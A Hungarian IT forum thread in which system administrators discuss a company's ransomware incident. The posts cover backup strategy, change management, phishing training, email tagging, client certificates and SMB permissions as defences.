"mert a céges gépen a céges szeku poliszi nem engedi feltelepíteni azokat a toolokat, amikkel az ember a napi munkáját kellene végezze. " - ez gondolom a vezető felé, illetve az ő főnöke felé jelzett/eszkalált probléma? Mert a "nem megy, lesz@rom, megoldom okosba'" az addig nem gond, amíg nincs gond. Utána meg lehet beleülni a vazelines vödörbe (hogy a következő "élmény" kevésbé fájjon...)
Egyébként meg ilyenkor el kell engedni az eszközt és elfogadni, hogy onnantól kezdve sajtreszelő van - és ennek megfelelő mértékben szerzed az örömöt a másik félnek is (ennek megfelelően esik vissza a teljesítményed...)
Háttőő... eszkaláció... szintén multi, közepesen nagy, eléggé balfasz account. 2-3 éven át, kb. havonta eszkalált probléma, kb. olyan szintű, hogy dízelbe nem javasolt benzint tankolni, nem értik, mert eddig benzint tankoltunk és jó volt. Majd - úgy 2-3 év után - egy meetingen: de hát ez akkor így nem jó! Igen baszki, ezt mondjuk évek óta. Jaaa....
De ugyanitt volt olyan is hogy: Nem húznál ki a listáról? De. Köszi. Szivi.
Hosszú a múlt, úgyhogy ismerős a szitu... Mind a kettő...
Alapvetően nincs ezzel gond, hogy leráznak. Pusztán mások a célok szintenként - mást akar az üzlet, mást a compliance, mást az üzemeltető stb. A szálak meg időnként összeérnek. Ilyenkor indul rá projekt, amiről az üzemeltetés már hónapok/évek óta beszél. Csak senkinek nem érte el az ingerküszöbét. Addig.
Nekem is volt már hasonló szituációm globál multinál. Általában elég gyorsan sikerült eszkalálnom a helyzetet - tudom, mázlista vagyok. Habár az is egy érdekes ügyfél volt. Én azért is eszkaláltam, mert a VSP (védd a segged papírral) és az MVP (más valaki problémája) fontos elvek számomra. Ha megvan minden írásban és erről a főnököm / főnökeim is tudnak, akkor én nem fogok ezek után nyugtalanul aludni, mert pl: XY országban leáll a töketlenség miatt a vasút, repülés, bankok stb.
"Ha megvan minden írásban és erről a főnököm / főnökeim is tudnak, akkor én nem fogok ezek után nyugtalanul aludni, mert pl: XY országban leáll a töketlenség miatt a vasút, repülés, bankok stb."
Ha ilyen helyzet áll elő (leáll ez-meg az) _és_ nem engem fognak hajnal kettőkor telefonon felébreszteni, hogy dől a sz@r, és oldjam meg, akkor én is nyugodtan tudok aludni :-)
Ha nem voltam készenlétben / ügyeletben:
- Alkalmazottként ilyenkor felmutatom az írásos bizonyítékokat. Zargassanak mást.
- Vállalkozóként meg olyan óradíjat adtam meg, hogy még a kedvük is elment tőle, hogy egyáltalán felébresszenek. :)
Minden csak addig fontos az ügyfélnek, amíg nem kerül pénzbe, nem kell rá költeni. Csak amikor például 1 darab levelezőszerver hardverére sokallják az 1-2 mFt-t úgy, hogy a teljes cég üzleti folyamata azon alapul... Aztán ha "ég a ház", akkor a hajnali 2 ráér reggel 8-9-ig is, amikor a cégvezetéssel ordítozások, asztalcsapkodások, eszmecserék, feljegyzések, eltérés jelentések, risk letter-k (cégkultúrától függően persze) közepette átbeszélhetjük a témát.
Egyébként meg ITIL és change rollback plan, DRP, BCP. Mert megfigyeléseim alapján a legnagyobb gubancok szinte mindig change hatására keletkeznek (90%).
Anno volt olyan munkahelyem, ahol belépés után az első adandó alkalommal átzavartak a szomszédba ;) ITIL foundation tanfolyamra (+vizsga). És a change management folyamatábrában a "qrvasürgős" ágon is ott volt, hogy legyen rollback plan, vagy legalább gondoljunk rá :-) Sajnos nem minden change esetén van lehetőség rollback-re - akkor persze az előrefelé menekülést kell alaposan kidolgozni, és előkészíteni...
Huuh, ha erről mesélhetnék....
Csak röviden: volt olyan, hogy közeli kolléga change-t azért kaszáltam el / nem approve-oltam, mert a rollback plan kidolgozatlan volt. Később volt, hogy közöltem a vezetőkkel, hogy ezt így ÉN nem hagyom jóvá. Más jóváhagyhatja a csapatból, de én senki után nem oltok tüzet. Volt egy kis kardcsörtetés, de mindenki megértette végül, hogy miért nem fogok egy 2 mondatos rollback plant jóváhagyni.
A főnöködnek nincs szava az ITszeku felé, de még 1-el fölötte levőnek sem. Tudod ezek a multik ilyen silókban működnek. Ahol senki nem beszél a másik silóban élőkkel, senki nem igazán tart a másik silóban ülő hasonló faszméretű vezetőtől vice versa. Mivel pedig a fönökeidnek nem fáj közvetlenül, így itt meg is szakad a végrehajtási folyamat, maradsz "egyedül" a problémáddal. Évekig. A főnökséget amúgy pont nem érdekli a legalsó szintű melós semmilyen fájdalma. De a munka legyen készen! Időben, vagy még annál is hamarabb. Az irodába meg vissza kell menni. De a privát gépedet nehogy rádugd az irodai hálóra, mert azonnal jön az alarm!
"De a munka legyen készen! Időben, vagy még annál is hamarabb. " - ha egyszer készen lesz, akkor jogosan várja el n+1. alkalommal is, hogy készen legyen.
Ha nincs lehetőség a megfelelő eszköz használatára, akkor könyveljék el, hogy az adott feladat n-szer annyi időt vesz igénybe, ergo legalább n-szer annyiba kerül.
"De a privát gépedet nehogy rádugd az irodai hálóra" - így van, így helyes - a privát, a céges üzemeltetés által nem ismert eszköznek semmi keresnivalója nincs közvetlenül a céges hálózaton. Sőt, szigorúan véve még VPN-en sem.
Szerintem az itsec legalapvetőbb axiómája, hogy a user mindig a legkisebb ellenállás felé fog menni. Aki ezt nem érti, az nem lehet sikeres ebben a szakmában.
A vazelines vödör, amit elképzelsz, valójában nem létezik, néha egy-egy szerencsétlenen példát statuálnak, de a shadow IT ettől még továbbra is ugyanúgy él és virul a szervezetben. Persze lehetne olyan policy-t kialakítani, olyan eszközökkel, ami nem teszi pokollá a user mindennapjait, de ehhez már szakértelem kell, meg befektetett pénz és energia.
Ez egy jó lépés a megfelelő irányba. De nem 100%-os. Valójában, pl. a Barracuda Backup (ami egy linuxos appliance, ami vCenter szinten ment virtuális gépeket + agent-en keresztül fájlokat, MS SQL DB-ket és Exchange-et) - tehát valamivel biztonságosabb - gyártója is azt ajánlja, hogy 3-2-1 elv alapján ments.
Link: https://campus.barracuda.com/product/backup/doc/73701479/offsite-replic…
Ez sem 100%-os egyébként. De, a semminél több.
Ezért használok még mindig a legfontosabb adatokra* magnószalagot is, 7 nap 7 szalag, szalag set-ek rotálva, offline elzárva. :D
(* legalábbis, amit annak mondanak, nekem minden csak a helyet foglaló 0 meg 1 :D)
trey @ gépház
Anno a rendszergazda világnapon amikor mondtad hogy "majd egyszer megértem hogy miért jobb a szalagos dat kazetta mentés félrerakva mint a NAS-os mentés"
Asszem most értettem meg. :D
Nem vitatom a 3-2-1 elvet (sőt), de lássuk be, hogy ez önmagában nem elégséges feltétel a zsaroló vírus ellen, többek között azért, mert a visszatartás idejéről, gyakoriságról és a mentések védelméről semmit nem mond. Sokra megy azzal valaki, ha 3 példányban vannak titkosítva az adatai. Nem ismerem a konkrét esetet, de akár itt is előfordulhatott.
Ráadásul a szalag megy ki a divatból (drága/körülményes), illetve azt is lehet rosszul kezelni. Azt pedig nem értem, hogy miért kellene 2 különböző típusú adathordozó, leginkább a szabály hangzatosságát növeli (a mondaton belül említett példa sem feltétlenül különböző típusú adathordozó). 2 példányban is lehet elegendően jó mentést készíteni, ha kellően távol vannak és egyéb követelményeknek is megfelel (pl. visszaállítási idő).
Zsaroló vírus szempontból sokkal többet ér a kolléga által említett biztonságos zóna elv (tűz esetén nyilván nem sokat ér önmagában, ha minden egy telephelyen - volt), ami nyilván naponta páncélba rakott szalagot is jelenthet.
Ez most megint egy olyan eset, ami igazolja azt az alapvetést, miszerint az informatika addig viszonylag könnyű, amíg működik. A minőség akkor mutatkozik meg, ha gebasz van: mekkora eséllyel van gebasz, ha mégis bekövetkezik, akkor mennyire nehéz kimászni (RPO/RTO értékek teljesülése... itt gyaníthatóan köszönő viszonyban sem lesz sem a tervezett a megvalósult értéktől).
Mindenesetre kíváncsi lennék az informatika és üzlet közötti kommunikációra az eset után. Gyanítom, hogy sok tanulságot hordozhat mind a szakma, mind az üzlet számára.
Nagyon kemény helyzet, sok erőt kívánok a feleknek, érintettségtől/felelősségtől függetlenül.
Most ki fogja a Borg backupomat elvinni amit hetente egyszer usbn feldugok a gépre? Ha szigorúan a ransomware vonalat nézzük, akkor jobb esetben btrfs snapshot visszamásol és jó napot. Ha az nincs , akkor ott van a helyi backup server (ami pullol úgyhogy nem fogja felnyomni, a titkosított cucc max megeszi rajta a helyet, azért az baromi látványos ha az inkrementális backup hirtelen meghízik). Ha azt is felnyomják még ott a szekrénybe az usbs cucc.A havi 250kba ennyi fért bele, meg a word ikon asztalra helyezése (ez egy fontos rendszergazdai feladat ;))
Ha el is viszik, na akkor van gáz. Igazából akkor sincs elmegyek valahova ahol fizetnek is a szopásért. ;)
Mindenesetre kíváncsi lennék az informatika és üzlet közötti kommunikációra az eset után. Gyanítom, hogy sok tanulságot hordozhat mind a szakma, mind az üzlet számára.
Esélyes, hogy sosem fog kiderülni részleteiben, hogy mi történt. A Unix-os (autó alkatrész kereskedő) fakap-ról felrakta Zombori a saját verzióját, ezt mondjuk érdemes lehet végigpörgetni:
https://www.unixauto.hu/hirlevel/HACKERTAMADAS
Persze az ilyeneket mindig kétkedéssel kell olvasni, és gondolni rá h. cégtulajdonosként imitt-amott nem-e színezte ki a történteket a dramaturgia kedvéért. Illetve a technikai mélysége nem olyan komoly az írásnak, hogy abból egy másik cég üzemeltetője konkrét megoldásokat el tudjon lesni, nagyon általánosra lettek véve ezek a részek.
Ui. Dúrva h. először azt írtam le, hogy Unix-os nemrég történt fakap. Aztán mikor rákerestem, kiderült h. 2021 márc 30-n volt. Majdnem 2 éve! Repül az idő...
Szerintem titkosítják 200 évre... Pedig akár még tanulságos is lehetne.
Köszi a linket. Szerintem ezt a helyzetet nem lehet túlszínezni ("ezt még a konkurenseimnek sem kívánom"). Leginkább a támadás előkészítettsége ijesztő.
Eleg gyorsan lerendezte a human faktort, mikor latszik, hogy itt is azzal jutottak be (banki levelnek alcazott stb email). Gondolom a dolgozok 0 kepzest kaptak ezugyben.
Domain, tárhely és webes megoldások: aWh
A képzés hatékonysága erősen humánfaktor függő, elmondhatom nekik százszor, hogy emailben nem szólítunk fel senkit jelszóváltoztatásra, mindig akad olyan aki ennek ellenére kattint és megadja a jelszavát mert az jó. Ezeket nem szabadna számítógép közelébe se engedni.
Ki kell rugni is kesz. Vagy olyan munkakorbe ahol szamitogep kozelebe nem megy.
de azert vannak jo kepzesek, tesztek erre, csak hat azert fizetni kell, azt meg nem szeretnek.
Domain, tárhely és webes megoldások: aWh
Tudnál ilyen képzést küldeni, amit jónak tartasz? (akár privátban)
Knowbe4, proofpoint
biztos van meg mas is, ezeket ismerem melyebben.
Domain, tárhely és webes megoldások: aWh
Magyart tud ajánlani valaki? Sok felhasználó angol Outlookkal kényelmetlenül érzi magát.
Knowbe4 (kliens oldali resze, meg a tananyagoj) tud magyarul. (Amugy nem ertem, hogy kapcsolodik ide az outlook).
Domain, tárhely és webes megoldások: aWh
Nagyon erősen megtévesztő levelek is vannak. Nehéz meghúzni olyan határt, hogy kit nem szabadna email közelébe engedni (email = lyuk a tűzfalon), egy jobb versenyző részéről is elegendő egy apró sietős figyelmetlenség vagy rosszabb nap.
Én komoly problémának gondolom, hogy több levelező is elrejti például a feladó címét. Ez nem segíti a tudatos/figyelmes levelezést.
Gondoltam már rá hogy a feladó email címe mellé felvésem a receive chain ip-inek zászlaját is ;)
A "Külső" "External" email tagelés divat lett a nagyoknál, viszont például nem találtam olyan fejlécet, amit meg tudok adni az emailben, és akár a Thunderbird, akár az Outlook komolyan vegye. Az más kérdés, hogy ez meg szimulálható lesz. :)
E mellé talán Office365-ben láttam biztonságos linkelést, ami legalább rákérdez klikkelés előtt, hogy akarod-e a "verybigransomwarez.ritkatld"-s cuccot megnyitni, és talán valami további mechanizmus is be van mögé építve.
Ez a fejléc jelölés ötlet nagyon tetszik. A komolyan vétellel sincs feltétlenül probléma, ha átvételkor kidobod azt a bizonyos fejlécet, majd később rárakod. Így biztos lehetsz benne, hogy úgy van kitöltve, ahogy Te akarod.
Thunderbirdbe és Outlookban is lehet elvileg olyan üzenetszűrőt/szabályt definiálni, ami megjelöl/kategorizál leveleket fejléc alapján, a jelölés alapján pedig színez.
Pl. X-Message-Sender-Type: internal|partner|risky|other
Ki fogjuk próbálni.
Mélyebben belegondolva eleve a jelszó nem jó megoldás az alacsonynál kockázatosabb helyekre.
Helyette ez lenne a megoldás: https://hybrismart.com/wp-content/uploads/2019/05/webauthn.png
A böngészők már támogatják a hardveres kulcsokat.
El szoktam azon gondolkozni, hogy vajon miért nem elég egy sima user+jelszó a fizikai világunkban a lakásba való bejutáshoz? Miért használunk egyedi fizikai kulcsot holmi 6 jegyű kód helyett?
És az internet túloldalán levő adatvagyonhoz miért nem akarunk használni ugyanúgy egy másolhatatlan hardver kulcsot?
Egy jó ideje van nekik SSL kliens tanúsítványuk, úgyhogy igazából ha megadják a jelszót sincs baj (amiről meg nem tudnak, hogy van nekik nem tudják megadni ;)).
Csak az apple fan vezetőséggel nehéz megértetni, hogy arról én nem tehetek, hogy az ipari hulladék telefonjuk 2023-ban sem képes kliens tanúsítványt kezelni. ;)
"az ipari hulladék telefonjuk 2023-ban sem képes kliens tanúsítványt kezelni" - Mármint a böngésző. Mert Exchange szervert https-en elérő levelező/naptár/miegyéb kliens megy kliens certtel.
Igen, csak ugye az kényelmetlen, mármint böngészőből webmailezni.
A beépített email kliensük (Mail?) ala natur imaps-en, de amikor néztem 3rd party app se volt rá ami tudta.
https://discussions.apple.com/thread/1638917?page=1
https://apple.stackexchange.com/questions/47576/ipad-mail-client-imap-w…
exchange nem használ imap-ot, itt valami keveredés van most akkor. milyen szervered van?
Domain, tárhely és webes megoldások: aWh
Sosem volt exchange szerverem ez egy sima dovecot auth_ssl_require_client_cert=yes kapcsolóval. :)
Ezt nem szereti az alma. :)
Exchange. Van neki IMAP, de az Android-os "Exchange" fiók nem azt használja, úgyhogy nincs keveredés: https-en a 443-as portra csattan be a Gmail app, és szépen, API-n keresztül dolgozik: levelek, naptár, ingyombingyom minden is :-) Ott meg közbeékelődve egy kliens cert alapú szűrés van, amit természetesen tud kezelni az Android-os gmail alkalmazás. A hájpfón esetén sajnos csak valami fizetős szutyokkal működik, de akinek olyanra van ingerenciája, az így járt...
Azért a rendszeren és a policy-kon is múlik. Pl. ha minden kintről jövő levél tetejébe beleeditálja, hogy "Ez egy külső email. Nem a cég küldte, ha olyan link van benne, ami a céges usernevedet/jelszavadat kéri, akkor ne add meg. Ha futtathatóra linkel, ne indítsd el, olyat mi különben sem küldünk." Ezen kívül persze van éves IT-Security kötelező képzés, nem nagyon hosszú (1/4 ... 1/2 óra), nem nagyon nehezek a kérdések a végén, de az benne van, hogy "Ki felel jogilag a következményekért, ha megsérted a policyt, és baj lesz belőle? A-én, B-én, C-naná, hogy én."
Ezt köszi. Nagyon átérzem azt, milyen küzdeni a reménytelennel, de irigylem őket, hogy csak pár napig tartott ez az izgalom. Nekem a legdurvább egy 5 éves per volt, amire cégestül mindenem rámehetett volna. Végén megnyertem, de nem volt öröm mindennap bemenni így dolgozni, hogy nem tudom meddig tehetem ezt meg. Megküzdési stratégiámat váltogattam. Volt amikor nem vettem a problémáról a tudomást, volt amikor eltereltem a figyelmemet, pl folyamatosan üvöltő zene mellett dolgoztam, mint egy szórakozóhelyen egy hétvégi estén olyan volt az irodám (szobám). Amióta vége lett ennek (2012), csak néma csendben dolgozom, mindent magamra csukok, hogy maximális nyugalmat éljek meg.
Zombori tökös volt. Én is így tettem volna. Nem érdekelt volna melyik az olcsóbb megoldás. Nincs csicskulás.
Szerintem legalább 3x van benne a szövegben, hogy "at least" :D Vagyis, hogy ez lenne a minimum és ezek mellett még a többi intézkedés.
trey @ gépház
Én bárhogy bogarászom a betűket, a többi intézkedésre való utalást nem látom benne. Ennek az is lehet az oka, hogy ez a 3-2-1 szabály bőven a zsaroló vírusok előtti korszakból való, a naív informatika korából. A hivatkozott linken is a telephelyen kívüli mentés szerepel, ami más szempont, mint a zsaroló vírusok (zsaroló vírussal manapság hamarabb összefut az ember, mint telephelyet megsemmisítő katasztrófával).
Hát a többi intézkedést nem a backup gyártója fogja neked leírni.
trey @ gépház
Miért, a 3-2-1 a gyártó kompetenciája? Vagy ha leírja, hogy 3-2-1, akkor egyéb szempontokat is leírhatna, mert így félrevezető.
Van neki más (security terméke), ott le vannak írva. Nyilván, csak azok, amik arra a termékcsoportra vonatkoznak.
<mellékszál>Az IT security millió területből áll, egy élet kevés csak ahhoz, hogy te érts csak ahhoz. Ha pedig mellette mással is kell foglalkoznod, akkor nem is fogsz hozzá rendesen érteni. Éppen ezért, én sem állítom, hogy értek hozzá. Átlag rendszergazdánál jobban, de egy szakértőhöz képest kevesebbet. Ennélfogva nem is vállalom a felelősségét a rám lőcsölt IT sec. területnek. Csinálom a legjobb tudomásom szerint, de ott van mellette a discalimer, hogy ha jól szeretnétek csinálni, vegyetek fel erre egy IT sec. szakembert.</mellékszál vége>
Vagyis a Barracuda sem fog téged kioktatni a mentési rendszereinél az IT sec egyéb területeiről. A backup téma csak érintőlegesen kapcsolódik az IT sec-hez.
trey @ gépház
A 3-2-1-et valóban a replikációs funkció alapján hozta elő a gyártó, de te a kollégára kontráztál rá a 3-2-1-gyel, holott ő sem törekedett teljes mentési elv felvázolására, hanem a jelen esetben releváns szempontra. Így erősen félreérthető, hogy mit is akartál mondani a 3-2-1-gyel.
Én sem értek mindenhez, ha ügyfél megkérdezi, hogy minden rendben van, azt mondom neki kérjen auditot független féltől. Nem állítom, hogy minden tökéletes lesz, de annyira azért bízom magamban, hogy katasztrofális eredmény nem várható, tanulhatok belőle és legalább lesz egy független vélemény, hogy mire kellene még költeni (ami nekem akár jó is lehet).
Én a "a backupszerver"-re kontráztam rá szerintem. Egy szerver nem szerver, két szerver egy szerver stb. ...
De ki emlékszik már?
Ezzel a legtöbb ember így van, egészen addig, amíg egyszer be nem üt a baj.
trey @ gépház
Miért, te hogy csinálod? Csinálsz valamit és elmondod, hogy valószínűleg nem lesz jó, amit csináltál?
Ezért jó és kell az audit. Volt már benne részem, nem állítom, hogy semmit nem találtak, de olyan nem volt, ami alapokat rengetne meg. Az audit egyrészt valós problémákat fel tud tárni (persze kevésbé valósakat is, a papír sok mindent elbír, az auditorok szeretnek minél többet leírni adott környezettől függetlenül, de ez így van jól), másrészt a terhet+felelősséget is csökkenti (ezt értsd úgy, hogy megerősíti a helyzetet, elképzelést).
Én úgy csinálom, hogy elmondom, hogy hogyan kellene, leírom, hogy azt mennyiből lehetne megoldani.
Kapok rá valami büdzsét (100-ból 99-szer sokkal kevesebbet), abból megcsinálom, ahogy lehet, aztán megy a papír, hogy az ügyfél által biztosított költségvetés miatt lett műszakilag gyengébb a műsor, ezek meg ezek a rizikók, ami az ügyfelet terhelik. Szépen aláírja, egyik példány az övé, másik az enyém. Utána meg magára vessen.
Jó ez az auditorokkal dobálózás, csak az a tapasztalat, hogy ahol a projektre se szánnak eleget, ott nem fognak kifizetni milliókat egy auditorra, hogy az leírja nekik, hogy még mennyi milliót kellene a rendszerre költeniük, hiszen ők is pontosan tudják, hogy nem költenek rá eleget :D
trey @ gépház
Igen, ezt én is így szoktam, van a), b) netán c) verzió előnyökkel/hátrányokkal/kockázatokkal/költségekkel, ő pedig rábök.
A probléma nem azzal van/lehet, amit leírsz, hanem amit nem, mert nem gondoltál rá, avagy "Ezzel a legtöbb ember így van, egészen addig, amíg egyszer be nem üt a baj.".
Egyetértek, az auditot nem az fogja kérni, aki eleve rendesen lekaszabolja a költségvetést, de ez egy ugyanolyan opció, mint például a telephelyen kívüli mentés vagy redundáns tároló, csak más jellegű. Mint a rizsa tantárgyak anno az iskolában, amikről később kiderül, hogy annyira nem is volt hülyeség.
Akkor valaki már csomagol...
Ha erre van kihegyezve az ügymenet, akkor szerintem kapút.
Én nem küldenék el senkit. Aki ebből tanul, az biztosan megtartandó nálam. Egy szarba általában egyszer szoktak belelépni normálisék, szóval hacsak valaki nem élvezetből fröcsögteti a fost páros lábbal.
^^ Mindez amit írtam kb. hatástalan és értelmetlen, ha nincs alternatív visszaállítási pont sem. Mert akkor (már) nincs, aki megtartson valakit.
Vortex Rikers NC114-85EKLS
Semmi értelme kirúgni az üzemeltetést, csak rosszabb lesz minden az új emberekkel, akiknek fingjuk sincs a rendszerről. Aki így dönt, sose látott üzemeltetést közelről.
Blog | @hron84
via @snq-
Az egy dolog, de meg lennék lepve ha titkosítás előtt nem csináltak volna mentést a túloldalon. :)
tobbnyire _csak_ titkositanak, az kevesbe feltuno minth a jovohet is kimegy a halozaton
Hogyan döntöd el, hogy melyik volt az utolsó tiszta mentés,
ha a cucc nem modosítja a fájlneveket (és a dátummal is játszik)?
Hirtelen megnövekszik az inkrementum mérete? Nem hinném, hogy csak azokat a fájlokat titkosítják, amelyek amúgy is változnának...
https://iotguru.cloud
Mondjuk erre egyből raknék triggert egy warning-hoz. :)
A másik ötletem még az lenne, hogy legyen filetype check, ha minden fájlra az jön vissza, hogy encrypted, akkor az is gyanús.
https://iotguru.cloud
vagy ha a tomoritesi hatekonysag leesik 0 kozeli ertekre (feltetelezve hogy a backup szoftverek tomoritve taroljak az adatot)
Ez mondjuk eléggé use-case függő, mert nagyon sok szoftver alapból tömörített fájlokkal dolgozik.
https://iotguru.cloud
ITIL szerint nem a szolgáltatásüzemeltetés fázisában kell hogy menjen az okoskodás, hanem a szolgáltatástervezés fázisában kell ezeket megálmodni az "information security management" cimke alatt.
A probléma, hogy a szolgáltatástervezés során erre semmi nem születik, aztán a szolgáltatásüzemeltetés fázisában megy az ad-hoc tákolás. Ráadásul ismeretlen adathalmazzal és ismeretlen use-case mentén vaktában lövöldözve.
Nem gondolom, hogy az ITIL előírná, hogy egy meglévő rendszert nem lehet továbbfejleszteni.
"Miért? Csak (automatizált) reinstall és visszaállítás backup-ból. Ha valami megakad, megnézik a dokumentációt. ;)"
Lehet, hogy a ransomware megette a ransomware okozta károk esetére alkalmazandó DRP dokumentációt, és most mindenki vakarja a fejét, hogy hogy is volt? :-)
Nincs azzal probléma. A ransomware az olyan műfaj, hogy csak a legélhetetlenebbek szopják csak be. Én még anno Windowson se kaptam be sose ilyesmit, annak ellenére, hogy mentésem volt akkor is. Azóta Linuxon sem volt ilyen.
“The world runs on Excel spreadsheets.” (Dylan Beattie)
Ez addig működik amíg nincsenek felhasználóid. Nálunk kétszer is előfordult mondjuk még a locky időben, az egyik valami magán emailt kapott és hajtotta a kíváncsiság, letitkosította a saját gépét (megosztásokhoz nem fért hozzá). A másik letöltötte nem csinált semmit átküldte a kolléganőjének hátha ott megnyílik, megnyílt ;) Ők a saját megosztásukat is eltitkosították.
Ezzel én óvatosabban bánnék. Inkább úgy fogalmaznék, hogy sokszorosan nagyobb eséllyel szopják be.
Régen azt hittem, hogy lehet feltörhetetlen rendszert csinálni. Sajnos tévedés. A teljes rendszert nézve csak erőteljesen nehezítettet lehet.
Tudtad azt, hogy még Los Alamosnál az atombomba kifejlesztésének idején ugyan duplán bekerített szupertitkos objektum volt, mégsem tudták megakadályozni a "konkurencia" irányába történő információáramlást?
Van a Dunning-Kruger görbe. Máshol vagytok rajta.
Gábriel Ákos
Hagyjuk rád, te egy személy szerint még sose szívtál be ilyet.
Hah.. remek.
Nem dolgoztál még multi környezetbe ez látszik azon hogy levetíted magadra ..
Öröm boldogság van, hogy Raynes Desktop gépe sose kapott be ilyet!!! :)
Taps
Tudom gúny, de nem kell tapsolni. Semmi érdem nincs benne, szerinte itt a HUP-on is elég sok ember van, aki sose kapott még be ilyesmit. Tényleg csak annyi a titka, hogy nem baromarc módjára kell használni a rendszert, meg mindenféle szutyok fájlt nyitogatni, és mindent SMB-ről felcsatolni. Tényleg nem kell hozzá komoly informatikai diploma.
Igazból a ransomware-ek nagy részét kivédené, ha az egész iparág összefogna, és csinálnának egy univerzális fálmegosztó protokollt, és OS-től függetlenül használná mindenki azt, ezt a szutyok Sambát meg szanálnák már, régóta az egyik legnagyobb biztonsági kockázat. Az NFS nem az, de azt meg beállítani bonyás, meg sokan idegenkednek tőle, főleg windowsosok. Azért kéne egy korszerű, biztonságos megoldás, ami mögé mindenki beáll. Addig maradni fog a sambás gányolás, és kapják be sorra a ransomware-eket, ami így nem fog kímélni semmit, mert ahogy SMB-n látja a felcsatolást, onnantól bedarálja, és nem érdekli, hogy esetleg az SMB mögött egy linuxos vagy BSD-s szerver van, ami alapból nem lenne fertőzhető, de a megosztott fájlokhoz mégis beállítási hiba miatt teljes hozzáférést engednek, és be lehet darálni rajta mindent.
“The world runs on Excel spreadsheets.” (Dylan Beattie)
Sajnos nem az smb a ransomware-k elsődleges okozója, hanem az user figyelmetlensége. Van az smb-vel is gond, de nem oldana meg a cseréje semmit. A titkosító szutykok többsége nem is vírus. Egy program a mi titkosít, mint jó sok másik amit használunk rendszeresen. Hab a tortán, hogy ezeket is képesek használni a kártékony kódok. Én mostanában a Heimdal Security ransomware védelmét használom (elég nagy megelégedéssel) és már a sokadik vackot fogja meg élesben ami a 7zip-et használta volna a titkosításra. Na ha pl a 7zip whitelist-en van akkor kész a szívás, ha telepítve van, paraméterezve meghívja és szevasz.
Nincs jó megoldás, csak a viselkedésminták elemzése, de az sem 100-as.
Részben az SMB. Nyilván arról nem tehet az Samba, hogy a user a lokális rendszerét darálja be egy ransomware-rel (bár ez részben megint megelőzhető megfelelő jogosultságkiosztással). De az ellen véd, hogy ami megosztásban fel van csatolva, az ne menjen vele a levesbe. Igazából ez ellen az is védene, ha a Sambát jól állítanák be, pl. a usernek alapból csak le/feltöltési joga legyen a megosztásba, de törölni, felülírni ne tudjon, ezzel már a ransomware nem tudna működni, legalábbis ilyen felcsatolt szerverekhez nem férne hozzá, mint most történt a CHS esetében.
Ezt a Heimdalt-t nem ismerem, de megfelelő lehet, ha ténylegesen megfogja a gonosz dolgokat. 7-zip-nél meg lehetne csinálni, hogy a binárist átnevezni, így használható is, de a malware-ek ne találják meg.
“The world runs on Excel spreadsheets.” (Dylan Beattie)
Sajnos ahhoz, hogy dolgozzon a felhasználó kell neki írás jog és máris megy minden a levesbe amit használ. A megosztás meg azért van, hogy többen is tudjanak dolgozni ugyan azon és akkor annak is annyi. Nem is kell törölni, elég felülírni a tartalmat. Ez ellen nem véd semmi csak a mentés, abból is az offline, mert a profi zsarolók, a mentés teszik tönkre először, már ha tudják. A zsaroló programok már arra is fel vannak készítve, hogy verziózó mentés van a megosztáson. Elkezdik kipörgetni, és annak annyi. Ha jól rémlik a google-drive is csak 30 verziót őriz meg. Két pillanat és vége, mert 50-szer módosítasz. Erre a válasz, pl a NextCloud verziózásban, hogy naponta csak korlátozott változást ment, és hagy napi, meg heti verziókat. Jó móka ez az adok-kapok...
A 7zip átnevezés elvileg működik (kivéve, ha letölti magának a támadó), de ne magadból indulj ki, meg a saját gépedből, hanem mondjuk van 500 géped és még a felhasználókat is meg kéne tanítani a "trükkre" meg folyamatosan frissíteni a programot, úgy hogy nem is túl jó megoldás. Gyakorlatban ez nem megy.
Mondjuk a Heimdal erre is ad megoldást, megadhatod hash alapján, hogy mi indulhat el (ezzel bukta az átnevezgetés a felhasználó és a rosszindulatú kód részéről), mást meg nem enged futni, illetve jóvá kell hagynia az adminnak. Ezzel a módszerrel a ransomware el sem tud indulni. Nagyon komoly. Ez már nem vírusvédelem, hanem egy új generációs komplex biztonsági rendszer, de ára is van, meg persze adminisztrációs munka vele. Én profibb cuccot nem ismerek ezen a területen.
"Sajnos ahhoz, hogy dolgozzon a felhasználó kell neki írás jog és máris megy minden a levesbe amit használ." a dedup és a csilliárd TB-os tárolók korában a fájlok mentésenkénti verziózása (azaz a mentés valójában az előző full állapothoz képesti diff) nem lenne olyan extrtém űrtechnológia. Oké, egy blokkonként titkosító és mentő ransomware esetén elfogyna a tárhely. A normál működés során valamennyi állapot olvasható, de írni csak a legutóbbi+1 verzióba lehetne. DB esetén ezt kéne cifrázni/cizellálni, de egy garantáltan sértetlen állapotra ott is vissza lehetne ilyen módon állni.
Nem tudom, hogyan képzelnéd el (kis-közép-nagy-) vállalti környezetben a munkát a megosztások kinyírása mellett... Az nagyon nem életszerű, hogy a felhasználó ne tudjon módosítani tartalmat. Akkor hogyan dolgozik?
Mindenki dolgozzon a saját gépén, és mentegessük munkaállomások százait adott esetben? Ha többeknek kell egy anyag, dobja át e-mail-ben?
Mennyivel lenne jobb egy HTTPS alapú megosztás (feltalálni sem kell, pl. WebDAV), amihez pont ugyan úgy megszerezhető a user/pass, mint SMB-hez, ha valaki kikeresi a sérülékenységet vagy social engineering módszerekkel megtudja a felhasználótól? Pontosan mennyivel is lenne jobb bármilyen más megosztási forma akkor?
Persze az SMB nem hibátlan. Ahogy az összes többi sem. A módszer viszont akkor sem a megosztás megszűntetése, hanem a felhasználók képzése (ez sajna hosszútávú és koránt sem ad 100% védelmet semennyi idő után), plusz a nagyon jól kitalált és megvalósított mentés. Meg persze az egyéb megelőzés vírus- és egyéb védelemmel, minden használatos csatornán a megfelelő szűréssel (amit az adott szervezet anyagilag meg tud engedni magának).
A biztonság egészen a használhatatlanságig fokozható - meg kell találni az egyensúlyt a biztonság és a használhatóság/kényelem között. Nem egy s nem két helyen pl. minden normál user egy terminálszerver-farmra lép be, ahol csak és kizárólag a munkavégzéshez szükséges (és jóváhagyott) alkalmazások futtatására van lehetőség. Bónuszként az rdp-session "az utolsó bitig" naplózva/mentve van. Sőt akinek nem kell más, annak csak a drawing van megengedve, vágólap, eszközök (nyomtató, smartcard, usb, stb.) nincs.
Igen, ez tény. A biztonság nagyjából mindig nehezítéssel jár. És valóban, van az a pont, amikor a biztonság használhatatlanná tesz valamit, de az ugye egy produktív szervezetnél sem cél, vagy ha elérték, akkor általában gyorsan visszacsinálják...
